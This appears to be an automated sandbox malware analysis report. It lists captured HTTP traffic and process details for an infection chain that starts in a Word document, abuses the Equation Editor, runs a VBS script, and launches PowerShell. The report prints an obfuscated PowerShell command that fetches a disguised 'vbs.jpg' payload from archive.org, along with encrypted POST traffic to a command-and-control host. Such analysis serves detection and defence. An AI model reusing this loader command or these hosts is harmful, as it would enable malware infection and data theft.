Aug 31, 2024 19:25:33.084651947 CEST	896	IN	Data Raw: 1b 78 58 7c 6e 7d 10 ca b5 cd d7 2c fd 6b 78 5c 75 ff dc 2a 31 1c 9e 90 dd ac 97 e6 a4 f6 22 18 13 70 9d 92 c8 89 04 06 7d 49 3e 2d 53 82 bd 66 00 6a 4f 59 66 f7 4f 3f 64 a0 0b 80 c4 24 55 57 f4 3d fb 23 d0 de c5 4b 19 0a 54 5a fe ff c3 bd 04 8f Data Ascii: xX\|n},kx\u1"p}I>-SfjOYfO?d$UW=#KTZBhV1X)jGD_CfieRHncQl'$u;qdB4]^%oAwKlos\if[y-ea(78i4v>ZGNj-L.EQO
Aug 31, 2024 19:25:33.084662914 CEST	1236	IN	Data Raw: 37 88 29 8a 24 eb fb 84 da 2a cd f5 9d 59 71 50 56 70 81 45 b2 f6 0d 43 ef 48 f8 c3 24 06 48 8d 8e 94 3b 5c 6c 3d 16 67 4b 9e e1 a1 fc 33 1b 88 c3 ef 63 a2 c5 0a 7b 52 5c cd 51 14 a5 8d 92 6f b4 dd a6 82 43 f3 59 46 99 75 74 5c 58 84 7f fc d3 85 Data Ascii: 7)$YqPVpECH$H;\l=gK3c{R\QoCYFut\XTaHNT.RE+S8x>\8UQ.'sDi2q85yjDgFoaGu OvU'6(2N:BCdgIf/!Ih
Aug 31, 2024 19:25:33.084672928 CEST	1236	IN	Data Raw: eb 04 bd f6 1b e3 e3 b3 ce 1e 73 cc 53 63 e9 91 64 95 8c 9a d1 b6 5a b2 de bf 6c 22 5b e0 b3 e0 66 fc 8f da 8f de 66 96 dc f2 c7 16 30 02 45 55 5a 28 71 df 03 a9 d5 a3 6e 6d 54 81 f9 01 96 b0 09 28 a6 03 2e d0 c3 6d 13 d9 81 41 46 15 0b ba f9 b3 Data Ascii: sScdZl"[ff0EUZ(qnmT(.mAF~ev]5AP\z8!ikqJ[V,T[?>Jy;t!Oj}Hxq:?Ig(TW--^rL-m\HTXd.elx 9b71Sm
Aug 31, 2024 19:25:33.084683895 CEST	448	IN	Data Raw: 5d 43 71 b7 72 68 e7 c3 5d 97 41 f7 8a 93 51 13 68 86 ef b2 b3 f4 3b 1d 8b 9a fa 6e 15 7d 51 ba 37 97 b6 0c 74 4a 03 25 aa 39 bc 3e d4 f9 b3 b7 95 fc d2 44 f5 2d db 0a e5 e9 86 70 da e1 4f 6b 80 17 d7 ab d4 a0 08 24 67 24 e3 fe c2 c7 f6 91 d7 cc Data Ascii: ]Cqrh]AQh;n}Q7tJ%9>D-pOk$g$-~+G#v}b~6/v>;e&HxtE8^L4,r2T5n9nD0Sk1%o[;Wch\Zty"n_vULWvNzY
Aug 31, 2024 19:25:33.085165024 CEST	1236	IN	Data Raw: f1 78 8e 29 7a 06 23 09 86 8f 6a c2 fa ab 2d 64 86 eb 24 dc 68 a0 b2 a8 55 d6 a7 65 ec e6 e3 ee 07 d2 07 10 34 55 34 aa 47 ab 58 e7 20 28 37 95 40 a5 b4 ba b4 1e fa 32 24 a6 1a fd e6 2e 44 02 5e a1 44 65 e0 f2 ab fe cd 8c e9 74 69 7b fc b8 ff 6a Data Ascii: x)z#j-d$hUe4U4GX (7@2$.D^Deti{j\p%M;^ kn?'CxKO@\|7P@RS?JUet+XC?,c@<g7ks_'_bh.6^`u7xH_Ul
Aug 31, 2024 19:25:33.085176945 CEST	1236	IN	Data Raw: 09 e2 cb 0f 81 57 6d 67 5e d0 d4 95 49 5a 1c 02 ba 6c 4a ae c0 1a 7c c0 94 9b 9d 2e fe 17 02 29 28 46 57 39 ec 7b b9 da 55 2c f5 4f 31 88 a6 cc c5 4e e8 6d 4f 7e 19 c8 60 3f 6d 35 16 c6 f0 e2 e0 05 00 f0 f7 c9 5b f5 eb 55 64 58 ae df 99 6c e3 c5 Data Ascii: Wmg^IZlJ\|.)(FW9{U,O1NmO~`?m5[UdXlc,7^UEr<l]_4-hP)"504o:`3X<`9xa-dW%hJm#{YSFf-b]Q?D\rMc\k&dbs7MLc>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49167	185.251.91.119	80	4056	C:\Windows\SysWOW64\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 19:25:39.893795967 CEST	274	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://prolinice.ga/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 1395 Host: prolinice.ga
Aug 31, 2024 19:25:39.893848896 CEST	1395	OUT	Data Raw: 6e e2 e5 f9 b3 46 f7 64 1a 13 c4 15 49 51 f3 82 aa 21 91 26 42 fa cb e3 81 e0 7e 1b ad 3a 31 04 45 c7 9e b4 7b df 81 a5 60 b2 c4 b0 d5 ee 65 75 c5 67 5d 48 8c 38 2e e3 36 d6 88 68 45 d7 76 e0 a7 9a bd 52 eb cc 59 3b 1f d6 b2 50 4c 85 5d 82 f8 a2 Data Ascii: nFdIQ!&B~:1E{`eug]H8.6hEvRY;PL]Oc~k_!z1rJC\S7Wx>x :xGresnq~TF%(v#RCIP6=I.:ua)i1b\|Fz1~_"
Aug 31, 2024 19:25:40.927783012 CEST	565	IN	HTTP/1.1 404 Not Found date: Sat, 31 Aug 2024 17:25:40 GMT server: Apache/2.4.59 (Debian) content-length: 409 content-type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f [TRUNCATED] Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.59 (Debian) Server at prolinice.ga Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49168	185.251.91.119	80	1244	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 19:26:52.623749971 CEST	280	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wehtwifahcxeheu.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: prolinice.ga
Aug 31, 2024 19:26:52.623781919 CEST	109	OUT	Data Raw: 6e e2 e5 f9 b3 46 f7 64 1a 13 c4 15 49 51 f3 82 aa 21 91 26 42 fa cb e3 81 e0 7e 1b ad 3a 31 04 45 c7 9e b4 7b df 81 a5 60 b2 c4 f1 99 ac 30 26 e8 37 1e 48 8c 38 2e e3 36 d6 88 68 45 d7 76 e0 a7 fb bc 52 ee cc 58 3b 1f d6 b3 50 4c 85 1d c6 84 85 Data Ascii: nFdIQ!&B~:1E{`0&7H8.6hEvRX;PLgjngaiF#Q 9
Aug 31, 2024 19:26:53.625802994 CEST	161	IN	HTTP/1.1 404 Not Found date: Sat, 31 Aug 2024 17:26:53 GMT server: Apache/2.4.59 (Debian) content-length: 7 content-type: text/html; charset=utf-8 Data Raw: 03 00 00 00 a0 5f e8 Data Ascii: _
Aug 31, 2024 19:26:53.834259033 CEST	161	IN	HTTP/1.1 404 Not Found date: Sat, 31 Aug 2024 17:26:53 GMT server: Apache/2.4.59 (Debian) content-length: 7 content-type: text/html; charset=utf-8 Data Raw: 03 00 00 00 a0 5f e8 Data Ascii: _

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49164	207.241.232.154	443	3628	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-31 17:25:07 UTC	111	OUT	GET /27/items/vbs_20240726_20240726/vbs.jpg HTTP/1.1 Host: ia803104.us.archive.org Connection: Keep-Alive
2024-08-31 17:25:07 UTC	591	IN	HTTP/1.1 200 OK Server: nginx/1.24.0 (Ubuntu) Date: Sat, 31 Aug 2024 17:25:07 GMT Content-Type: image/jpeg Content-Length: 1931225 Last-Modified: Fri, 26 Jul 2024 21:52:52 GMT Connection: close ETag: "66a41ab4-1d77d9" Strict-Transport-Security: max-age=15724800 Expires: Sat, 31 Aug 2024 23:25:07 GMT Cache-Control: max-age=21600 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Accept-Encoding,Accept-Language,Authorization,Cache-Control,Content-Length,Content-Range,DNT,Pragma,Range,X-Requested-With Access-Control-Allow-Credentials: true Accept-Ranges: bytes
2024-08-31 17:25:07 UTC	15793	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-08-31 17:25:07 UTC	16384	IN	Data Raw: 5e 00 ef 9c 24 2f 18 a5 50 47 be 05 cf 22 c0 07 38 32 ed 0b c6 e0 78 c1 a8 76 2c e0 73 f9 61 20 0c c7 70 55 3f cf 00 eb 1b 86 0c 0d 31 5e e7 8c e4 29 1e e6 6b 69 5b d8 70 72 c4 b3 10 2a 82 8e 4d e0 47 a6 62 58 d8 a2 54 e0 5e 49 dd 95 6c b0 53 fa 65 e2 d4 2a 46 51 ad af 80 cd cf e5 80 33 21 52 a5 e9 6b f5 ca 39 67 e5 47 00 50 1e df 1c 06 91 bd 24 86 3f 4c 24 40 3b 04 1c dd d6 e3 f0 c0 23 05 88 1e 0d 8f d7 02 93 94 d4 2b d5 1b e9 81 a1 b9 3c 9d b2 39 dc 0f 16 7a 62 9a 92 24 22 9c d1 fc 36 7a e1 89 49 05 14 1d 48 27 03 ab 89 51 15 43 02 57 91 80 b7 96 fd bf 5c 6a 20 90 28 66 66 b3 cd 1e 99 10 4a be 71 63 f8 55 7f 8b f5 c8 9e 44 6a 23 6d 37 42 7d b0 0d e7 92 0d bb 12 4f 45 ed 83 92 41 b0 02 ec c7 e3 ef 96 8d 50 28 a2 02 f5 e3 be 53 52 51 3d 65 c6 eb bd b8 0b Data Ascii: ^$/PG"82xv,sa pU?1^)ki[prMGbXT^IlSeFQ3!Rk9gGP$?L$@;#+<9zb$"6zIH'QCW\j (ffJqcUDj#m7B}OEAP(SRQ=e
2024-08-31 17:25:07 UTC	16384	IN	Data Raw: f0 9d 5e b6 53 3c 3a 0d 53 a1 3b 95 d2 16 65 27 e6 06 0a 2f 0e f1 0d 0f 8f f8 64 b2 e9 75 10 ee d4 25 6f 8d 97 70 0c b7 57 d7 ae 2b 21 6b 27 92 47 7c d4 fb 3f ae 74 f1 1d 26 9e 42 cf a6 79 d4 98 77 1d bb 89 00 30 07 a3 02 01 b1 c9 02 ba 1c 00 78 dd ff 00 b6 f5 fe 9e ba 89 2c 1f f7 8e 1b 41 e3 9e 23 a1 d2 88 74 fa 92 91 6e b0 0a 2b 57 e6 0e 03 c6 01 6f 1a d7 32 93 c6 a2 4b e7 fc c7 33 c3 ed 97 61 36 18 5f 07 a6 07 a6 d1 f8 f4 fe 31 aa 8f c3 bc 61 56 7d 3c cc aa a4 22 86 89 b9 0a ca 45 01 cd 5f c2 f0 2f 14 de 0b e2 3a bd 0d 40 ec 84 05 9d 92 da 98 58 2a 4d 55 83 ce 61 c2 83 cd 56 de 45 1b 0d 79 e9 7e da c8 f0 78 f4 25 4b 2a 9d 3a 8a aa 06 99 bf 97 1f a6 07 98 9a 18 b4 85 d1 f8 5d ea 49 db 5b b8 26 f1 b1 a7 46 98 ea 0b ab 44 57 f0 90 3a 64 c3 f6 76 79 cc 9a Data Ascii: ^S<:S;e'/du%opW+!k'G\|?t&Byw0x,A#tn+Wo2K3a6_1aV}<"E_/:@XMUaVEy~x%K:]I[&FDW:dvy
2024-08-31 17:25:07 UTC	16384	IN	Data Raw: 22 b8 21 76 ed 24 f5 26 ef 29 b1 cc 21 4f b1 fe 77 9a 3a 96 d3 ed 06 fb 70 69 b0 11 ea 74 db 76 b3 57 3f e1 38 0a b2 c9 cb 15 04 b5 55 fc 06 39 a6 49 be ec c1 17 82 cc 48 6e 30 f2 b4 11 c4 24 0f 61 85 01 75 fa 60 e2 d7 c0 20 08 ec 45 7b 59 c0 16 e9 d8 10 a2 89 14 64 26 eb e0 32 57 4c f1 ca ae 3d 36 6c 0f 6e 2b 18 fb de 89 b8 46 2b e9 e1 48 3d 70 08 e8 eb 3e f6 3e a3 e9 ab f6 c0 12 e8 a4 3b 1c 1b 6d c4 9f 95 e7 0d 14 aa 9e c7 69 04 7b f5 1f d7 35 11 22 58 b6 86 6b be fe fc 65 e2 96 14 62 19 bd 4b d7 03 cf b8 78 ea 27 15 4c 0e 14 c6 ec 84 85 55 52 78 db d3 eb 9a 3a df ba 6a 01 b7 da dd 8e d3 c6 00 41 0a c2 b1 19 18 1b dc 4e d3 ce 00 19 a6 50 18 1b 53 c0 c6 00 d4 14 b1 dc 64 89 60 69 04 00 b0 03 ad a9 e7 19 33 e9 e3 50 bb bd 38 09 aa 4c e8 76 36 ea eb f0 ca Data Ascii: "!v$&)!Ow:pitvW?8U9IHn0$au` E{Yd&2WL=6ln+F+H=p>>;mi{5"XkebKx'LURx:jANPSd`i3P8Lv6
2024-08-31 17:25:07 UTC	16384	IN	Data Raw: 36 a4 9e 08 cc 94 d7 29 50 ad a6 0c 47 bb ff 00 fa 38 3d 4f 89 22 91 5a 52 40 eb 4f c7 f2 c0 d7 7d 44 25 54 02 d4 0f 3f 1c ef 32 33 54 8d f3 39 95 1e ba 29 53 71 d3 6d 07 a7 af fe 98 47 f1 08 c4 60 22 50 1f e6 ff 00 a6 03 af 22 75 22 89 e9 83 f3 d7 a1 4e 7b 1c cf 7d 68 75 07 cb 22 bb 06 eb ff 00 87 21 35 eb e6 57 92 47 c4 b7 fd 30 34 9d d1 9a ca 9e 7d b2 a5 c8 53 b5 5b eb 8b 36 b9 0a f0 95 ff 00 17 fd 32 a7 5e 40 a1 16 ef f8 bf e9 80 c1 d4 99 14 54 75 b7 f5 cb 89 14 29 40 80 1f c5 ce 27 f7 b7 5f 56 ca f8 06 ff 00 a6 0d b5 e7 ff 00 a3 62 7a fe 2f ff 00 47 01 d4 74 0c 09 8c dd f4 ae 0e 2d ac d7 3c 5a a2 13 d2 80 70 36 8c 85 d6 b6 d2 44 6c 19 45 82 5b fe 98 87 9c 4b 16 91 37 b3 1b fc 5f f4 c0 68 f8 d4 a7 d2 63 52 7b 15 5c d8 8e 7f 07 6d 27 df 75 69 e2 91 b1 Data Ascii: 6)PG8=O"ZR@O}D%T?23T9)SqmG`"P"u"N{}hu"!5WG04}S[62^@Tu)@'_Vbz/Gt-<Zp6DlE[K7_hcR{\m'ui
2024-08-31 17:25:07 UTC	16384	IN	Data Raw: 8b 3d 6c 75 ca bc 9b a3 2a dd fa 71 db 28 20 6b 1b 9a d7 b5 60 32 91 16 76 51 b4 13 c2 8a eb 81 24 28 0a 0f e2 a3 5e fc e5 cb 32 15 60 f4 cb 8b 44 18 b0 bf 87 5f 9e 03 29 50 c6 ad ba c0 52 48 3f 3c be e1 aa 5d d5 b4 fb 60 a2 47 a2 4a d8 ae 8d c7 7c 22 c8 aa 28 0a 6f 81 c0 b1 57 24 10 d4 47 53 87 57 91 88 3c 16 e9 f1 ca c1 44 96 91 7d 23 93 c6 04 38 7b 02 c0 dc 5b 03 b5 6b 24 8f c8 2a 40 af 4a 91 78 ba 3c a9 48 59 b6 f4 17 d1 72 da 90 59 82 bb 8a ab 06 b2 fa 04 3f 79 8e a3 0c 03 03 fa e0 34 08 89 01 12 2b 33 75 bc 21 77 48 c8 2c a4 13 5e ac d5 83 cc 9a 59 42 ac 4d e6 44 19 c0 61 e8 3e ae 38 e6 fe 58 4d 52 99 fc 3c e9 d4 ed 2a b7 f8 89 ba 20 fe 74 0e 07 9e 96 14 f3 55 22 94 c8 59 80 65 b0 36 f4 c9 d4 ab e9 da 45 56 14 a6 95 94 7c 7a 7f 2c 79 3c 3d 9d 16 5d Data Ascii: =luq( k`2vQ$(^2`D_)PRH?<]`GJ\|"(oW$GSW<D}#8{[k$@Jx<HYrY?y4+3u!wH,^YBMDa>8XMR<* tU"Ye6EV\|z,y<=]
2024-08-31 17:25:07 UTC	16384	IN	Data Raw: 2d 4a 56 e8 73 fc c6 65 1d 36 a9 a8 b4 32 d5 75 2a 70 b1 47 3a a3 20 d3 cb 4c 45 1d 97 5f a6 07 a3 9b 5a 9f 7a 84 c7 a6 02 37 45 90 33 b7 3c a8 f6 f9 e4 6a 66 79 19 a5 90 d0 03 90 00 20 01 81 82 37 5f 28 36 9b 51 21 1b 55 58 23 70 4a a8 e9 f9 e0 b5 d0 eb 1e 53 a7 5d 24 e5 14 06 94 aa 9b db 63 b6 04 69 99 35 13 2e a7 63 80 a4 aa 5f 17 c7 5c 63 c4 66 6d 1e 81 a4 85 dd 0b cc a5 97 cc 62 39 0c 7e 9d 4e 5b 4b 1c f3 32 a4 3a 69 4c 61 7d 2d e5 92 00 ec 3e 78 f4 f0 6a 53 c3 a7 12 68 e7 7d ae 80 a9 8c 83 c2 b5 9a ae 70 32 f4 1a 99 1c c9 01 05 98 b1 75 05 89 0c 09 ec 6e bf 3c 7a 3d 76 ad 19 55 f4 c6 23 b8 ab 30 91 78 5a e9 c1 cc a8 23 99 b5 60 e9 74 1a 99 02 16 2d 4a 40 ab e3 68 ed 9a 69 0e b9 d9 07 dc a6 48 d8 ee 2a c8 d7 7d b9 aa eb 58 0d e9 e4 4d 4f 88 c6 f2 28 Data Ascii: -JVse62upG: LE_Zz7E3<jfy 7_(6Q!UX#pJS]$ci5.c_\cfmb9~N[K2:iLa}->xjSh}p2un<z=vU#0xZ#`t-J@hiH}XMO(
2024-08-31 17:25:07 UTC	16384	IN	Data Raw: 18 01 03 9c 90 0f bf 6c b9 8e 94 b0 3c 55 fd 2e b2 de 58 0d b7 b8 6d a4 60 54 48 c0 83 67 82 0f 5e f9 01 ab a0 00 f4 04 75 c9 d8 0d 1b e0 93 fa 64 98 c9 23 6d 74 bb 26 b8 fa e0 54 b5 8e 7e 1c fc 32 18 b3 12 4f 5b cb f9 2c 5c a8 f5 10 2f d3 cf f2 c8 75 28 05 d8 24 5d 1f 9e 00 fe 99 c3 83 91 59 20 73 cf 4c 0b 33 16 1c b1 35 d2 fd b2 bd 0e 47 7c be df 48 3e fd 30 2e 93 15 52 0f 26 b8 bc d6 d0 ea 36 78 26 a6 32 dc b3 3d 7b 9b 51 98 80 73 9b da 5d 31 8f c2 64 2e ca 5a 51 e9 e3 91 b9 40 1f cf 03 08 83 66 fa fc f0 91 32 a9 16 47 5e f8 c7 fb 3a 63 e5 01 b4 17 2c 28 9f c2 57 ad e7 1d 0c 8a 81 88 52 4a ef 23 9f c3 ef d2 b0 28 fa 97 3b 68 f0 16 be 7c e0 0b b7 62 40 cd 3f f6 5f 96 17 cc 7b 25 c2 0a e3 93 f1 fa e2 b2 69 4a 5f ac 1b 24 55 f3 c7 bd 60 00 4c 7c b2 a4 93 Data Ascii: l<U.Xm`THg^ud#mt&T~2O[,\/u($]Y sL35G\|H>0.R&6x&2={Qs]1d.ZQ@f2G^:c,(WRJ#(;h\|b@?_{%iJ_$U`L\|
2024-08-31 17:25:07 UTC	16384	IN	Data Raw: b1 5f 33 d1 61 7e 27 ae 71 65 1c 85 60 4f 5b 6b fe 99 c5 3d 36 bc e7 20 05 1e fa ed e3 f3 18 16 03 cc 56 35 c2 8b eb 94 11 bb 29 2a 09 03 db 2a 2d 6c 13 5e e3 0a 26 db 13 22 9a dc 6c e0 04 06 3d 2f 25 56 cd 75 3e d8 53 3f ee d5 02 28 2b d1 80 e4 e7 42 ae cc 4a ae ea 16 6b f2 c0 8f 2d fa 9e 3e 67 fa e5 41 60 76 92 7a 8e 87 0a 8e f0 4d b8 a6 ea 04 15 71 ee 2b 91 95 92 51 34 e1 c2 aa 5d 0a ed 80 c3 99 c5 4b 23 bf 50 48 36 2b 9f ed ed 93 1f 88 49 f8 4b b2 93 54 77 1c 9d 74 85 8a a9 bb 0b b4 7a b7 0e d4 6f e4 71 51 03 34 05 c7 63 58 1b ba 4f 10 91 34 72 15 91 9e 4d a1 68 b1 f7 ab 1f a6 35 ab d6 4b f7 69 5a 19 59 77 39 a0 77 5f 40 4f 73 c8 00 f3 55 9e 6a 09 8c 3b 88 e6 c5 57 6e 08 39 b3 0f 8a c3 a8 d3 b4 73 22 06 dc cc 5d ae e8 d0 a1 5c f2 2c 7d 70 18 07 57 ad Data Ascii: _3a~'qe`O[k=6 V5)**-l^&"l=/%Vu>S?(+BJk->gA`vzMq+Q4]K#PH6+IKTwtzoqQ4cXO4rMh5KiZYw9w_@OsUj;Wn9s"]\,}pW
2024-08-31 17:25:07 UTC	16384	IN	Data Raw: 47 b2 68 df 68 89 dd 18 31 e7 69 e8 73 22 79 c6 ae 09 64 50 54 a8 16 b7 67 93 5f d7 01 e2 91 bb 34 77 41 ba 8f 7c 6e 1d 12 41 a7 54 46 b5 26 d8 5d 58 cc e4 d3 38 86 4a 2d 6a a5 aa b9 e9 8f c0 e4 68 61 06 b7 6c 05 ad 79 e9 80 e4 3a d5 82 0a 2c cc aa 0a 84 02 c9 17 c1 fa 63 47 50 82 16 6d aa 48 ea 6e ae c7 71 98 da c1 10 d3 87 2c 48 50 58 02 d4 2c f0 3f 5c 2e a5 1c f8 7a f9 8c c9 24 71 d8 65 66 04 10 2f 9e 70 3b 57 af 82 02 db d2 46 90 11 c0 52 36 8f 70 7a 65 22 68 e5 1b fc d0 e8 bf 85 80 b2 3e bf 5c 8d 24 b3 b4 65 66 f2 d9 50 2b 33 51 e4 37 c4 e6 66 b3 53 16 96 79 74 ba 78 94 2a bd 6e 1c dd 7c f0 36 5e 78 a1 87 71 5d e7 f8 16 e8 93 81 2a e3 f1 9b 24 6e f4 f4 53 ed 78 a2 b1 9a 1d 36 a6 28 0a 48 f3 aa 31 56 bd dc 1e d9 ab a9 46 d3 c4 01 52 64 24 80 a4 f2 7a Data Ascii: Ghh1is"ydPTg_4wA\|nATF&]X8J-jhaly:,cGPmHnq,HPX,?\.z$qef/p;WFR6pze"h>\$efP+3Q7fSytxn\|6^xq]$nSx6(H1VFRd$z

Target ID:	0
Start time:	13:24:57
Start date:	31/08/2024
Path:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Imagebase:	0x13f1e0000
File size:	1'423'704 bytes
MD5 hash:	9EE74859D22DAE61F1750B3A1BACB6F5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	13:24:58
Start date:	31/08/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:25:01
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\verynicebuttersmoothcakeicream.vBs"
Imagebase:	0x310000
File size:	141'824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:25:01
Start date:	31/08/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?Dg? ? ? ? ?M? ? ? ? ?? ? ? ? ?z? ? ? ? ?DE? ? ? ? ?M? ? ? ? ?? ? ? ? ?0? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?Mg? ? ? ? ?3? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?dgBi? ? ? ? ?HM? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?y? ? ? ? ?DY? ? ? ? ?LwB2? ? ? ? ?GI? ? ? ? ?cw? ? ? ? ?u? ? ? ? ?Go? ? ? ? ?c? ? ? ? ?Bn? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C? ? ? ? ?? ? ? ? ?PQ? ? ? ? ?g? ? ? ? ?E4? ? ? ? ?ZQB3? ? ? ? ?C0? ? ? ? ?TwBi? ? ? ? ?Go? ? ? ? ?ZQBj? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?BT? ? ? ? ?Hk? ? ? ? ?cwB0? ? ? ? ?GU? ? ? ? ?bQ? ? ? ? ?u? ? ? ? ?E4? ? ? ? ?ZQB0? ? ? ? ?C4? ? ? ? ?VwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?J? ? ? ? ?B3? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? 